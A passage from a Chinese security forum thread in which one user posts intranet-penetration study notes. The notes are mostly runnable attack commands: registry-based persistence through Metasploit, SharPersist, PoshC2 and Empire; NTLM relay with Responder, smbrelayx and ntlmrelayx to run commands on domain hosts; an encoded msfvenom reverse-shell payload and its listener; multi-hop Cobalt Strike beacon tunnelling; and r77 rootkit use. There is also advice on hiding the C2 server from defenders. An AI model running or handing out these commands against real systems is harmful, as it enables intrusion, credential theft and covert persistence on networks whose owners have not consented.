    $type = [System.Security.AccessControl.AccessControlType]"Allow"
    $rule = New-Object System.Security.AccessControl.RegistryAccessRule( `
    $person,$access,$inheritance,$propagation,$type)
    $acl.ResetAccessRule($rule)
    Set-Acl HKCU:\Software\Testkey2 $acl

    ```

    管理员拥有更改权限普通用户只有读取的新键的权限



    ### 六、各种工具配合注册表使用进行权限维持

    Meterpreter –Run键

    另外两个注册表位置,这些位置可以允许红队通过执行任意有效负载或DLL来实现持久性。这些将在登

    录期间执行,并且需要管理员级别的特权。

    ```
    reg add

    "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001" /v

    Pentestlab /t REG_SZ /d "C:\tmp\pentestlab.exe"

    reg add

    "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Dep

    end" /v Pentestlab /t REG_SZ /d "C:\tmp\pentestlab.dll"
    ```

    ![image-20211225145501769](E:/typora%E5%9B%BE%E7%89%87/image-20211225145501769.png)

    Meterpreter –任意DLL

    **Metasploit**

    Metasploit Framework通过使用Meterpreter脚本和后期利用模块来支持通过注册表的持久性。

    Meterpreter脚本将以VBS脚本的形式创建一个有效负载,该负载将被拖放到磁盘上,并将创建一个注

    册表项,该注册表项将在用户登录期间运行该有效负载。

    Metasploit – Meterpreter持久性脚本

    用户下次登录系统时,将打开一个新的Meterpreter会话。

    Metasploit – Meterpreter会话

    另外,还有一个后期开发模块,可用于持久性。该模块需要以下配置,并将可执行文件放置在受感染系

    统上的可写位置。

    ```
    run persistence -U -P windows/x64/meterpreter/reverse_tcp -i 5 -p 443 -r

    10.0.2.


    ```

    ![image-20211225145751907](E:/typora%E5%9B%BE%E7%89%87/image-20211225145751907.png)

    Metasploit – Meterpreter持久性脚本

    用户下次登录系统时,将打开一个新的Meterpreter会话。

    ![image-20211225145808681](E:/typora%E5%9B%BE%E7%89%87/image-20211225145808681.png)

    Metasploit – Meterpreter会话

    另外,还有一个后期开发模块,可用于持久性。该模块需要以下配置,并将可执行文件放置在受感染系

    统上的可写位置

    ```
    use post/windows/manage/persistence_exe

    set REXEPATH /tmp/pentestlab.exe

    set SESSION 2

    set STARTUP USER

    set LOCALEXEPATH C:\\tmp

    run
    ```

    ![image-20211225145836598](E:/typora%E5%9B%BE%E7%89%87/image-20211225145836598.png)

    Metasploit –持久性利用后开发模块配置

    由于已选择**USER**作为选项,该模块将使用当前用户的注册表位置

    ![image-20211225145851974](E:/typora%E5%9B%BE%E7%89%87/image-20211225145851974.png)

    Metasploit –持久性后期开发模块

    如果已获得系统级别的特权,则可以将该模块配置为在**HKLM**位置中创建注册表项。该**STARTUP**选项

    将需要改变系统。

    Metasploit –作为系统的持久性模块

    set STARTUP SYSTEM

    ![image-20211225150021595](E:/typora%E5%9B%BE%E7%89%87/image-20211225150021595.png)

    **SharPersist**

    SharPersist是Brett Hawkins在C#中开发的工具,它结合了多种持久性技术,包括添加注册表运行

    键。该工具包可以加载到支持反射加载的各种命令和控制框架中,例如Cobalt Strike和PoshC2。以下

    命令将创建一个注册表项,该注册表项将从与Metasploit Framework模块相同的注册表位置执行任意

    有效负载。

    ```
    SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c

    C:\tmp\pentestlab.exe" -k "hkcurun" -v "pentestlab" -m add
    ```

    ![image-20211225150102381](E:/typora%E5%9B%BE%E7%89%87/image-20211225150102381-164041566314418.png)

    SharPersist –以用户身份注册

    如果已获得提升的访问权限,请修改命令以在本地计算机位置中安装注册表项,以实现所有用户的持久

    性。

    ```
    SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c

    C:\tmp\pentestlab.exe" -k "hklmrun" -v "pentestlab" -m add -o env
    ```

    SharPersist –注册为SYSTEM

    SharPersist还通过**RunOnce**和**RunOnceEx**注册表项包含持久性功能。以下命令将在这些位置创建注

    册表项,这些注册表项将执行任意有效负载。

    ```
    SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c

    pentestlab.exe" -k "hklmrunonce" -v "Pentestlab" -m add

    SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c

    pentestlab.exe" -k "hklmrunonceex" -v "Pentestlab" -m add

    SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c

    pentestlab.exe" -k "hkcurunonce" -v "Pentestlab" -m add
    ```

    ![image-20211225150141799](E:/typora%E5%9B%BE%E7%89%87/image-20211225150141799.png)



    SharPersist – RunOnce注册表项

    SharPersist还提供了使用另一个注册表位置进行持久化的选项(**UserInitMprLogonScript**)。

    ```
    SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c

    pentestlab.exe" -k "logonscript" -m add
    ```

    ![image-20211225150216295](E:/typora%E5%9B%BE%E7%89%87/image-20211225150216295.png)

    **PoshC2**

    PoshC2支持各种持久性功能,包括注册表运行键的方法。以下命令将在目标主机中创建两个注册表

    项。

    install-persistence

    ![image-20211225150239387](E:/typora%E5%9B%BE%E7%89%87/image-20211225150239387.png)

    PoshC2 –持久性

    注册表的“运行”项将具有IEUpdate的名称,以便看起来合法,第二个注册表项将作为墙纸隐藏在注册

    表中

    ![image-20211225150253132](E:/typora%E5%9B%BE%E7%89%87/image-20211225150253132.png)

    PoshC2 –注册表运行键

    **Empire**

    如果将Empire用作命令和控件,Empire包含两个与通过注册表运行项与持久性技术对齐的模块。根据

    特权级别,这些模块将尝试在以下注册表位置中安装base64有效负载:

    ```
    HKCU:SOFTWARE\Microsoft\Windows\CurrentVersion\Debug

    HKLM:SOFTWARE\Microsoft\Windows\CurrentVersion\Debug
    ```

    ![image-20211225150324745](E:/typora%E5%9B%BE%E7%89%87/image-20211225150324745.png)

    Empire – Debug 注册表项有效负载

    ```
    usemodule persistence/userland/registry

    usemodule persistence/elevated/registry*
    ```

    ![image-20211225150348696](E:/typora%E5%9B%BE%E7%89%87/image-20211225150348696.png)

    Empire –Persistence Registry Module

    将在名称**Updater**下创建另一个注册表项,该注册表项将包含要执行的命令。PowerShell将尝试在下

    次登录时运行**Debug**密钥中存储的有效负载,以实现持久性。

    ```
    HKCU:SOFTWARE\Microsoft\Windows\CurrentVersion\Run

    HKLM:SOFTWARE\Microsoft\Windows\CurrentVersion\Run
    ```

    ![image-20211225150413416](E:/typora%E5%9B%BE%E7%89%87/image-20211225150413416.png)

    Empire – Registry Run Key

    参考链接:https://pentestlab.blog

    ### 七、注册表指令函数功能介绍(c#函数)

    •**REG_SZ**:字符串数据的主要类型,用于存储固定长度的字符串或其他短文本

    值。我们在实际程序中通常只用这种数据类型,如果要保存布尔值时,将它表

    示成0或1。

    • **REG_BINARY**:用于存储二进制数据。

    • **REG_EXPAND_SZ**:可扩展的字符串值,可以保存在运行时才解析的系统变量。

    • **REG_MULTI_SZ**:以数组的格式保存多个文本字符串,每个字符串"元素"都以

    null字符结束

    **(1) RegOpenKeyEx****函数**

    打开一个指定的注册表键。

    ```
    LONG WINAPI RegOpenKeyEx(

    HKEY hKey, //需要打开的主键的名称

    LPCTSTR lpSubKey, //需要打开的子键的名称

    DWORD ulOptions, //保留,设为0

    REGSAM samDesired, //安全访问标记,也就是权限

    PHKEY phkResult //得到的将要打开键的句柄

    )


    ```

    **(2) RegSetValueEx****函数**

    在注册表项下设置指定值的数据和类型。返回零表示成功,返回其他任何值都代

    表一个错误代码。

    ```
    LONG RegSetValueEx(

    HKEY hKey, //指定一个已打开句柄或标准项名

    LPCTSTR lpValueName, //指向一个字符串的指针,该字符串包含设置值的名称

    DWORD Reserved, //保留值,必须强制为0

    DWORD dwType, //指定存储的数据类型,如REG_BINARY\REG_DWORD

    CONST BYTE *lpData, //指向一个缓冲区,包含指定名称存储的数据

    DWORD cbData //指定由lpData参数指向的数据大小

    )
    ```

    **SHGetSpecialFolderPath****函数**

    获取指定的系统路径。

    BOOL SHGetSpecialFolderPath(

    HWND hwndOwner,

    LPTSTR lpszPath,

    int nFolder,

    BOOL fCreate

    );

    **参数**:

    hwndOwner:窗口所有者的句柄

    lpszPath:返回路径的缓冲区,该缓冲区大小至少为MAT_PATHA

    nFolder:系统路径的CSIDL标识

    – CSIDL_BITBUCKET:桌面\回收站

    – CSIDL_CONTROLS:我的电脑\控制面板

    – CSIDL_DESKTOP:桌面

    – CSIDL_DRIVES:我的电脑

    – CSIDL_STARTUP:开始菜单\程序\启动

    – CSIDL_SYSTEM:System文件夹

    – CSIDL_WINDOWS:Windows目录

    • fCreate:指示文件夹不存在时是否要创建,FALSE不创建

    **返回值**:

    如果返回TRUE表示执行成功;否则执行失败。

    **系统进程自启动是通过创建系统服务并设置服务启动类型为自动启动来实现的,接下来**

    **我们进行相关介绍。**

    **1.****函数介绍**

    **(1) OpenSCManager****函数**

    建立了一个到服务控制管理器的连接,并打开指定的数据库。如果函数成功,则返回一

    个服务控制管理器数据库的句柄;否则返回NULL。

    SC_HANDLE WINAPI OpenSCManager(

    __in_opt LPCTSTR lpMachineName, //指定计算机名称

    __in_opt LPCTSTR lpDatabaseName, //指定要打开服务控制管理数据库的名称

    __in DWORD dwDesiredAccess //指定服务访问控制管理器的权限

    );

    **(2) CreateService****函数**

    建立一个服务对象,并将其添加到指定的服务控制管理器数据库中。如果函数成

    功,则返回该服务的句柄;否则返回NULL。

    SC_HANDLE CreateService(

    SC_HANDLE hSCManager, //服务控制管理器数据库的句柄

    LPCTSTR lpServiceName, //要安装服务的名称

    LPCTSTR lpDisplayName, //用户界面标识服务的显示名称

    DWORD dwDesiredAccess, //对服务的访问

    DWORD dwServiceType, //指定服务类型

    DWORD dwStartType, //指定服务启动选项

    DWORD dwErrorControl, //指定服务启动失败的严重程度

    LPCTSTR lpBinaryPathName, //指定服务程序二进制文件的路径

    LPCTSTR lpLoadOrderGroup, //指定顺序装入的服务组名

    LPDWORD lpdwTagId, //标记变量

    LPCTSTR lpDependencies, //指定启动该服务前必须先启动的服务或服务组

    LPCTSTR lpServiceStartName, //该服务应运行的账户名称

    LPCTSTR lpPassword //指定账户名的密码

    );

    其中,dwStartType共有五种启动类型。

    前三种类型是 SERVICE_AUTO_START、SERVICE_DISABLED 和

    SERVICE_DEMAND_START。对应的标准启动类型自动、禁用和手动,通常

    使用“计算机管理”管理工具中的“服务”进行配置。

    后两种类型是 SERVICE_BOOT_START 和 SERVICE_SYSTEM_START,

    通常用于配置加载设备驱动程序的方式。25

    **(3) OpenService****函数**

    打开一个已经存在的服务。如果函数成功,则返回该服务的句柄;否则返回NULL,

    可以通过GetLastError获取错误码。

    SC_HANDLE WINAPI OpenService(

    SC_HANDLE hSCManager, //指向SCM数据库句柄

    LPCTSTR lpServiceName, //要打开服务的名称

    DWORD dwDesiredAccess //指定服务权限

    );

    **(4) StartService****函数**

    启动服务。如果函数成功,则返回非零数值;否则返回0,可以通过GetLastError

    获取错误码。

    SC_HANDLE WINAPI StartService(

    SC_HANDLE hService, //OpenService或CreateService函数返回服务句柄

    DWORD dwNumServiceArgs, //下一个形参lpServiceArgVectors字符串个数

    LPCTSTR *lpServiceArgVectors //传给服务ServiceMain的参数

    );

    **(5) StartServiceCtrlDispatcher****函数**

    将服务进程的主线程连接到服务控制管理器,该线程将作为调用过程的服务控制

    分派器线程。如果函数成功,则返回非零数值;否则返回0,可以通过

    GetLastError获取错误码。

    BOOL WINAPI StartServiceCtrlDispatcher(

    _In_ const SERVICE_TABLE_ENTRY * lpServiceTable

    )

    本帖子中包含更多资源

    您需要 登录 才可以下载或查看,没有帐号?立即注册

    x
    回复

    使用道具 举报

    63

    主题

    125

    帖子

    457

    积分

    中级会员

    Rank: 3Rank: 3

    积分
    457
     楼主| 发表于 2021-12-31 17:22:59 | 显示全部楼层
    发现好几个内网提权都是用的NTLM relay中继攻击

    为此学习一下这个攻击的原理

    参考文章:https://blog.csdn.net/whatday/article/details/107698383



    # NTLM中继攻击原理

    NTLM hash 分为 NTLMv1 NTLMv2 NTLM session v2 三种,NTLMv2 的强度比 NTLMv1 强了不少 ,我们在实战中,如果获得的是NTLMv1的话直接对其进行爆破就行了,而现实情况中我们遇到的是 NTLMv2,NTLMv2的密码强度高了不少,因此如果你没有一个超级强大的字典,你很难得到明文密码。那么,如果爆破行不通的话我们不妨试一下NTLM Relay攻击。

    在这个NTLM Relay中,我们就是要将截获的Net-NTLM Hash重放来进行攻击,从而实现对其他机器的控制,所以严格意义上应该叫作Net-NTLM Relay。

    ## 获得Net-NTLM Relay的思路

    为了重放这个Net-NTLMhash,首先我们要做的就是获取这个Net-NTLMhash。

    由于SMB、HTTP、LDAP、MSSQL等协议都可以携带NTLM认证的三类消息,所以只要是使用SMB、HTTP、LDAP、MSSQL等协议来进行NTLM认证的程序,都可以尝试向攻击者发送Net-NTLMhash从而让攻击者截获用户的Net-NTLMhash,也就是说我们可以通过这些协议来进行攻击。下面总结几个获取思路

    ok。。 成功搭了个域 接下来学习NTLM中继攻击

    ### 利用LLMNR和NetBIOS欺骗获得Net-NTLMHash

    Windows系统名称解析顺序为:

    > 本地hosts文件(%windir%\System32\drivers\etc\hosts)
    >
    > DNS缓存/DNS服务器
    >
    > 链路本地多播名称解析(LLMNR)和NetBIOS名称服务(NBT-NS)



    也就是说,如果在缓存中没有找到名称,DNS名称服务器又请求失败时,Windows系统就会通过链路本地多播名称解析(LLMNR)和Net-BIOS名称服务(NBT-NS)在本地进行名称解析。这时,客户端就会将未经认证的UDP广播到网络中,询问它是否为本地系统的名称,由于该过程未被认证,并且广播到整个网络,从而允许网络上的任何机器响应并声称是目标机器。当用户输入不存在、包含错误或者DNS中没有的主机名时,通过工具(responder)监听LLMNR和NetBIOS广播,攻击者可以伪装成受害者要访问的目标机器,并从而让受害者交出相应的登陆凭证。核心过程与arp欺骗类似,我们可以让攻击者作中间人,截获到客户端的Net-NTLMHash。

    ### 利用WPAD劫持获得Net-NTLMHash

    WPAD 网络代理自动发现协议是一种客户端使用DCHP、DNS、LLMNR、NBNS协议来定位一个代理配置文件(PAC)URL的方法。WPAD通过让浏览器**自动发现代理服务器**,查找存放PAC 文件的主机来定位代理配置文件,下载编译并运行,最终自动使用代理访问网络。

    一个典型的劫持方式是利用LLMNR/NBNS欺骗来让受害者从攻击者获取PAC文件,PAC文件指定攻击者就是代理服务器,然后攻击者就可以劫持受害者的HTTP流量,在其中插入任意HTML标签从而获得用户的Net-NTLMHash。

    Responder可以创建一个假WPAD服务器,并响应客户端的WPAD名称解析。 然后客户端请求这个假WPAD服务器的wpad.dat文件。

    ```html
    responder -I eth0 -r on -v -F on -w on
    ```

    Responder创建一个身份验证屏幕,并要求客户输入他们在域中使用的用户名和密码。

    此时,员工没有安全意识的话就会写入在域中使用的用户名和密码。 最后,我们可以看到他们的Net-NTLM Hash。

    此外,我们还可以利用传统web漏洞,如XSS、文件包含等获取net-NTLM hash([传送门](https://www.jianshu.com/p/1b545a8b8b1e))。

    还有就是metasploit中的`auxiliary/docx/word_unc_injector`会创建一个带有`unc路径`的word文件,当该文件被打开的时候kali就会收到NTLMv2 hash。

    # SMB Relay(SMB中继)攻击

    **1.工作组环境**

    这个实用性比较差。在工作组环境里面,工作组中的机器之间相互没有信任关系,每台机器的账号密码Hash只是保存在自己的SAM文件中,这个时候Relay到别的机器,除非两台机器的账号密码一样(如果账号密码一样,我为啥不直接pth呢),不然没有别的意义了,这个时候的攻击手段就是将机器reflect回机子本身。因此微软在ms08-068中对smb reflect到 smb 做了限制,防止了同一主机从SMB协议向SMB协议的Net-NTLMhash relay。这个补丁在CVE-2019-1384(Ghost Potato)被绕过。

    > **自从MS08-068漏洞修复之后无法再将`Net-NTLM`哈希值传回到发起请求的机器上,除非进行跨协议转发,但是该哈希值仍然可以通过中继转发给另外一台机器。利用Responder结合其他中继工具可以进行自动化的拦截并且对哈希值进行中继转发。唯一的一个不足之处就是,在这之前需要在进行转发操作的机器上禁用SMB签名。但是除了个别的例外,所有的Windows操作系统都默认关闭了SMB签名。**

    **2.域环境**

    域环境底下域用户的账号密码Hash保存在域控的 ntds.dit里面。如下没有限制域用户登录到某台机子,那就可以将该域用户Relay到别人的机子,或者是拿到域控的请求,将域控Relay到普通的机子,比如域管运维所在的机子。(为啥不Relay到其他域控,因为域内就域控默认开启smb签名)

    ## 攻击演示

    kali                 :192.168.59.143

    win 2019(DC):192.168.59.140

    win 2016-1    :192.168.59.142

    win 2016-2    :192.168.59.137

    ### Responder中的MultiRelayx.py

    我们在进行中继之前,先用responder工具包里面的RunFinger.py脚本扫描域内机器的SMB签名的开放情况:

    ![image-20211231115722445](E:/typora%E5%9B%BE%E7%89%87/image-20211231115722445.png)

    可以看到域内主机的 SMB 签名都已禁用(false)了,接下来开始利用MultiRelay.py攻击,获得目标主机的shell:

    哦对了  开启域后要再启动一次域的网络发现

    不然ping不到

    ```
    python MultiRelay.py -t 192.168.59.140 -u ALL
    ```

    ![image-20211231010814521](E:/typora%E5%9B%BE%E7%89%87/image-20211231010814521-16408842629644.png)

    现在 SMB 已经由 MultiRelay.py 脚本来进行中继,我们需要修改一下responder的配置文件 Responder.conf,不让其对 hash 进行抓取。将SMB和HTTP的On改为Off:

    ![image-20211231011006492](E:/typora%E5%9B%BE%E7%89%87/image-20211231011006492-16408842646315.png)

    重启 Responder.py,准备毒化(这里responder的作用就是当访问一个不存在的共享路径,将名称解析降到LLMNR/NBNS时,来抓取网络中所有的LLMNR和NetBIOS请求并进行响应)

    ![image-20211231011220971](E:/typora%E5%9B%BE%E7%89%87/image-20211231011220971.png)

    此时我们在DC(192.168.59.140)上随便传递一个SMB流量:

    ![image-20211231011618758](E:/typora%E5%9B%BE%E7%89%87/image-20211231011618758.png)

    好家伙

    高版本已经不行了 把所有防的东西关了也不行

    没事  我们是来学习原理的

    ### Impacket中的smbrelayx.py

    攻击者伪造一个恶意的SMB服务器,当内网中有机器Client1访问这个攻击者精心构造好的SMB服务器时, smbrelayx.py 脚本将抓到 Client1 的 Net-NTLM Hash ,然后 smbrelayx.py 用抓取到的 Client1 的 Net-NTLM Hash 重放给 Client2 。

    开始实战,用 smbrelayx.py 脚本来完成任务,用`-c`选项来在受害机192.168.59.140上面执行命令:

    python3 ./smbrelayx.py -h 192.168.59.140 -c Command

    python2没有http模块。无法使用

    ![image-20211231121216737](E:/typora%E5%9B%BE%E7%89%87/image-20211231121216737.png)

    记得以root权限打开

    不然打不开

    此时我们让Client1访问这个攻击者精心构造好的SMB服务器:

    net use \\192.168.52.143

    此时,攻击者的smbrelayx.py脚本上就会发现命令成功执行了

    在实战中,我们会提前生成了一个 Metasploit 的 payload 并放置在当前目录下,然后用`-e`选项在目标主机上传并运行我们的payload

    先生成一个metasploit木马:

    ```
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.59.143 LPORT=4444 -e x86/shikata_ga_nai -f exe -o ~\shell.exe
    ```

    ![image-20211231121531192](E:/typora%E5%9B%BE%E7%89%87/image-20211231121531192.png)

    设置好`msfconsole`中`exploit/multi/handler`监听:

    ```
    use exploit/multi/handler
    ```



    ```
    set payload windows/meterpreter/reverse_tcp

    set lport 4444

    set lhost 192.168.59.143

    set AutoRunScript post/windows/manage/migrate

    run
    ```

    ![image-20211231122421253](E:/typora%E5%9B%BE%E7%89%87/image-20211231122421253.png)

    **这里要注意,我们要设置`set AutoRunScript migrate`在成功得到session后自动迁移进程,如果没有自动迁移进程,那么在`Removing file`的时候,会话也随之关闭了。**

    然后执行smbrelayx.py脚本:

    python 3 smbrelayx.py -h 192.168.59.143 -e ./shell.exe

    随后在Windows server 2008上执行`net use \\192.168.138.131\c$`来访问攻击者搭建的恶意smb服务:

    此时攻击者的smbrelayx.py脚本上会有反应:

    并且msfconsole上成功获得了192.168.52.143(windows 7)的会话:

    ### Metasploit中的smb_relay模块(ms08-068)

    use exploit windows/smb/smb_relay

    ![image-20211231124442473](E:/typora%E5%9B%BE%E7%89%87/image-20211231124442473.png)



    run

    随后在windows 2003的cmd中执行`net use \\192.168.59.143\c$`来访问攻击者搭建的恶意smb服务:

    这时,攻击者msfconsole中就可以看到受害机(不过要老版本的机器:起码win2012以下)反弹来的会话了:

    (注意:Metasploit的SMBRelay只支持NTLMv1,所以在攻击一些机器时会出现“Failed to authenticate”的情况)

    这个攻击手段就是将机器reflect回机子本身。然而微软在ms08-068中对smb reflect到 smb 做了限制,防止了同一主机从SMB协议向SMB协议的Net-NTLMhash relay。这个补丁在CVE-2019-1384(Ghost Potato)被绕过。

    ### Im[pca](https://so.csdn.net/so/search?q=pca)ket中的ntlmrelayx.py

    ntlmrelayx.py 脚本可以直接用现有的 hash 去尝试重放指定的机器

    ```html
    ./ntlmrelayx.py -t <指定的被攻击 IP>
    ```

    我们同样可以利用`-c`选项来在目标主机上面执行命令:

    ```html
    ./ntlmrelayx.py -t smb://192.168.59.140 -c whoami -smb2support
    ```

    然后只要使用其他方法诱导域管理员或普通域用户访问攻击机搭建的伪造HTTP或SMB服务,并输入用户名密码:

    攻击者的ntlmrelayx.py上面即可显示成功在192.168.59.140上执行命令

    在实战中,我们也可以利用`-c`选项来执行Empire生成的 powershell payload 并配合responder来进行攻击。

    lauchaer powershell http

    先用empire生成powershell的payload:

    ```
    ntlmrelayx.py -t 192.168.138.134 -c '生成的powershell脚本内容'
    ```

    responder同样需要关闭 responder 的 smb 和 http,然后启动:

    随后在Windows 8上执行`net use \\whoami`,产生任意smb流量

    此时攻击者的ntlmrelayx.py脚本有了反应:

    总结:

    NTLM中继攻击就是在内网的肉鸡或者代理进去的kali装作一个内置服务器

    然后当其他靶机运行需要用到端口的指令(如smb smtp rdp ldap pop auth等)。然后一旦扫到我们的肉鸡或者内置服务器。

    或者登上我们内置服务器的网口(设置个账号密码登录)时。我们就能拿到这个机器的ntlmhash或者对它的ntlmhash进行重放给其他机器进行攻击

    本帖子中包含更多资源

    您需要 登录 才可以下载或查看,没有帐号?立即注册

    x
    回复

    使用道具 举报

    63

    主题

    125

    帖子

    457

    积分

    中级会员

    Rank: 3Rank: 3

    积分
    457
     楼主| 发表于 2022-1-3 18:56:09 | 显示全部楼层
    本帖最后由 CDxiaodong 于 2022-1-5 21:49 编辑

    单线上线和linux上线和msf.cs派生会话稳定版
    环境
    kali:192.168.59.143
    第一层:win12 卡1:192.168.59.180  卡2:10.10.1.133
    第二层   win12  卡1:10.10.1.135         卡2:10.10.10.138
    第三层   win16   卡1:10.10.10.135
    层与层之间都可以互ping
    先上线192.168.59.180
    c2服务器的监听器要这样配置c2端口和bind端口要一致
    file://E:\typora%E5%9B%BE%E7%89%87\image-20220103182436116.png?lastModify=1641207102
    file://E:\typora%E5%9B%BE%E7%89%87\image-20220103162649462.png?lastModify=1641207102
    然后传一个隧道到这个机器上去进行流量转发
    file://E:\typora%E5%9B%BE%E7%89%87\image-20220103163721839.png?lastModify=1641207102
    file://E:\typora%E5%9B%BE%E7%89%87\image-20220103182227864.png?lastModify=1641207102
    10.10.1.133的4562端口就是我们需要创建的监听器端口
    映射到192.168.59.143:1234就是我们的c2服务器的端口(需配置绑定地192.168.59.180.因为180这个网卡才能ping192.168.59.143)
    隧道这样配置
    cs创建一个监听器
    file://E:\typora%E5%9B%BE%E7%89%87\image-20220103182553307.png?lastModify=1641207102
    ip就是我们靶机的第二个网卡。c2端口就是我们porttunnel映射的端口.bind端口不用填
    ok 做一个beacon上传到第二个靶机上面  ok 成功上线
    也是没中间流量的单线上线
    接下来做第三层
    也是上一个流量转发器给第二个受害机
    portunnel配置如下
    映射地址就是上一个机器的porttunnel的对外地址
    cs创建的监听器就是这个porttunnel的对外地址
    放到第三层dc即可上线。但是我这台机器域权限太低。就不上线了
    总结一下单线上线的好处:
    好处就是这种流量转发不会经过各个机器 而是c2服务器与受害机的直接转发、上线之后即使你的一台机器被发现了被人删了之后。你的其他机器就不会受到影响
    不像中转链接。一个被删了这一条线都得完
    原理:
    可以发现一个是内网的监听器。但是实际上我们都知道这个内网的监听器设置出来后不可能自动给内网开启这个端口。所以它利用的就是我们搭建的隧道。也就是为什么我们的流量不会经过肉鸡
    后来学习补充:
    后来发现上述情况我们的主c2监听器不填bind也可以上线
    这是因为如果不填的话bind端口会自动默认跟c2端口一样。而且我们在肉鸡上端口转发的目的其实是c2监听器的bind端口。而不是c2端口。所以其实我们c2服务器上的bind端口和c2端口不一样也可以。隧道始终连的是bind端口就行
    。所以说即使我们无论几层隧道监听都可以填bind。只要隧道开到那个bind就行
    linux上线
    利用cs2配合cs4.0到从kali到linux
    在c2窗口下打开cmd命令
    输入
    genc2win.exe
    genc2win.exe 192.168.0.105 50050 .cobaltstrike.beacon_keys null Linux x64 aaa
    将文件传入linux
    然后./aaa执行
    即可上线
    msf.cs派生会话稳定版(https协议)
    先cs派生给msf
    use exploit/multi/handler
    set payload windows/meterpreter/reverse_https
    set lhoat 192.168.59.143
    set lport 1234
    cs  派生给监听器192.168.59.143
    即可
    msf派生给cs
    use exploit/windows/local/payload_inject
    set payload windows/meterpreter/reverse_https
    set Lhost 192.168.59.143
    set Lport 4567
    set DisablePayloadhandler true
    set session 1
    run

    恍然大悟的地方:
    c2服务器可以放在我们的内网里。这样别人就ping不到.发现了也封不了我们的ip
    但是有个缺点。就是怕cs自身的后门和漏洞。毕竟我们的cs都是盗版。那就有两个改进方法。
    1.我们的内网自身安全且不放重要信息。用虚拟机换ip开个新的内网如192.168.44.x和我们的192.168.x.x不在同一网段,且机器也用虚拟机且不放重要文件就行,但这样在攻防中的话cs被搞到虽然影响没那么大。但是我们渗透的机器也可能被人发现
    2.cs买正版且魔改或者自己魔改。
    网上那些reverse_tcp基本上都复现不了。因为他们是cs3.14的用法。cs4以上可以使用https或者http
    udp。
    meterpreter   run -j即可后台运行
    当然运行完然后bg也行
    为什么要cs和msf互传?
    1.cs对域的渗透且图像化拓扑图有他的优点。就是说cs属于大局渗透
       msf对端口服务啥的渗透还有各种漏洞利用,攻击方式精且广且大。适合单点攻击。
      所以cs和msf配合使用
    2.msf有着cs没有的功能---注入新进程,也就是进程迁移。将载荷植入新进程
       而cs只有进程注入--只能植入现有进程
       cs转入msf后注入新进程这样就能提高存活率。cs和msf任何一台攻击没杀对另一台没有影响

    metepreter中set advance可以查看改变协议攻击方式
    如set disablepayload true 等
    meterpreter进入后。先增加路由  run autoroute
    或者 route
    等于增加网卡  让肉鸡暴露外网
    metepreter中输入指令run然后按三下tab键可以进入  后渗透载荷指令模式(就是增加路由这些权限维持。继续攻击的功能)



    本帖子中包含更多资源

    您需要 登录 才可以下载或查看,没有帐号?立即注册

    x
    回复

    使用道具 举报

    63

    主题

    125

    帖子

    457

    积分

    中级会员

    Rank: 3Rank: 3

    积分
    457
     楼主| 发表于 2022-1-5 21:48:25 | 显示全部楼层
    内网渗透之msf代理和端口转发(msfpc做载荷)
    先msfpc生成载荷
    改一下名字
    上传到靶机
    msf利用msfpc生成的.rc文件开启监听
    然后运行 1.exe
    看到反弹
    sessions进来
    ipconfig看到有两个网卡
    都加入路由
    route看到已经加入
    用socks5转发
    剩下的proxy代理就懒得弄了  之前弄过 自己弄也卡了半天。后来是成功了 ,但是还是觉得这个东西不好用
    还是上传隧道工具好用一些。
    有个坑就是proxychians3.9的端口前面要加:  而4以后则不用。这会导致代理配置产生问题



    本帖子中包含更多资源

    您需要 登录 才可以下载或查看,没有帐号?立即注册

    x
    回复

    使用道具 举报

    63

    主题

    125

    帖子

    457

    积分

    中级会员

    Rank: 3Rank: 3

    积分
    457
     楼主| 发表于 2022-1-9 12:48:35 | 显示全部楼层
    r77exe文件使用方法
    file://E:/typora%E5%9B%BE%E7%89%87/image-20220107223959262.png?lastModify=1641703687
    help需要使用testconsle打开
    testconsle就是图像化机器  
    install就是自动注入exe
    unsinstal反之
    应该是先打开example.exe进行cpu设置
    然后install注入
    然后testconsle打开进行权限维持
    当然也可以源代码编译生成。头文件很短且都有些
    doc文档第五章节也有安装介绍
    注意  所有程序都要以管理员打开



    回复

    使用道具 举报

    63

    主题

    125

    帖子

    457

    积分

    中级会员

    Rank: 3Rank: 3

    积分
    457
     楼主| 发表于 2022-1-10 11:17:32 | 显示全部楼层


    本帖子中包含更多资源

    您需要 登录 才可以下载或查看,没有帐号?立即注册

    x
    回复

    使用道具 举报

    63

    主题

    125

    帖子

    457

    积分

    中级会员

    Rank: 3Rank: 3

    积分
    457
     楼主| 发表于 2022-1-10 20:37:50 | 显示全部楼层




    本帖子中包含更多资源

    您需要 登录 才可以下载或查看,没有帐号?立即注册

    x
    回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 立即注册

    本版积分规则

    小黑屋|安全矩阵

    GMT+8, 2024-11-28 00:48 , Processed in 0.027339 second(s), 17 queries .

    Powered by Discuz! X4.0

    Copyright © 2001-2020, Tencent Cloud.

    快速回复 返回顶部 返回列表